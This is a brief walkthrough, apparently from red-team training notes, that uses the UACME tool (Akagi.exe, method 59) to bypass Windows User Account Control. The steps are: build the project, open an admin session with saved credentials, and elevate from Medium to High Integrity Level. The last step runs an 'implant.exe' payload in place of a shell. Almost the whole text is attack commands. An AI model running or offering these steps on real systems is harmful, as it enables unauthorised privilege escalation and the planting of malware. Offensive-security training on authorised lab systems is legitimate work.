First: Let’s Start by building UACME Project

msbuild RTO-uacme.sln

Untitled

Second: Copy Our Binary to the home directory

copy Akagi\output\x64\Debug\Akagi.exe C:\RTO\\Akagi.exe

image.png

Third: Open admin session using stored creds

runas /savedcreds /user:admin cmd.exe

image.png

image.png

Please notice that we are running as admin but in Medium Integrity Level

Fourth: Run the Akagi.exe

Akagi.exe 59

image.png

Notice that we are now running at a High Integrity Level

Fifth: You may bypass the UAC but instead of getting CMD Session you can Run You Payload

Akagi.exe 59 C:\Users\IEUser\Desktop\LPE\implant\implant.exe